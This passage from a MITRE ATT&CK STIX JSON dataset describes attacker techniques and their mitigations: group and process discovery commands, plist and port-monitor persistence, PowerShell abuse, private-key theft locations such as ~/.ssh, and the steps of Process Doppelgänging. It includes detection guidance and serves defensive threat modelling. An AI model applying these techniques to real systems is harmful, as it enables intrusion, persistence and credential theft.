            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1069",
                    "external_id": "T1069"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:55.471Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Permission Groups Discovery",
            "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n===Windows===\n\nExamples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.\n\n===Linux===\n\nOn Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1069",
                    "external_id": "T1069"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Plist Modification Mitigation",
            "description": "Prevent plist files from being modified by users by making them read-only.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1150",
                    "external_id": "T1150"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Plist Modification",
            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1150",
                    "external_id": "T1150"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Process whitelisting",
                "Whitelisting by file name or path"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Port Monitors Mitigation",
            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
                    "external_id": "T1013"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:26.057Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Port Monitors",
            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1013",
                    "external_id": "T1013"
                },
                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/dd183341"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "API monitoring",
                "DLL monitoring",
                "Windows Registry",
                "Process monitoring"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PowerShell Mitigation",
            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1086",
                    "external_id": "T1086"
                },
                {
                    "source_name": "Netspi PowerShell Execution Policy Bypass",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.",
                    "url": "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:06.512Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "PowerShell",
            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nDetection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.\n\nIt is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution. (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. (Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nRemote Support: Yes",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1086",
                    "external_id": "T1086"
                },
                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Github PowerShell Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "url": "https://github.com/PowerShellEmpire/Empire"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "url": "https://github.com/jaredhaight/PSAttack"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater%20visibilityt.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Private Keys Mitigation",
            "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1145",
                    "external_id": "T1145"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Private Keys",
            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
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                    "source_name": "Wikipedia Public Key Crypto",
                    "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Public-key%20cryptography"
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                {
                    "source_name": "Kaspersky Careto",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf"
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                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
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            "id": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Process Doppelg\u00e4nging Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelg\u00e4nging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
                    "external_id": "T1186"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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            "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-16T16:13:52.465Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Process Doppelg\u00e4nging",
            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelg\u00e4nging. Similar to Process Hollowing, Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM",
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                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
                    "external_id": "T1186"
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                {
                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
                },
                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
                },
                {
                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
                },
                {
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
                },
                {
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
                },
                {
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
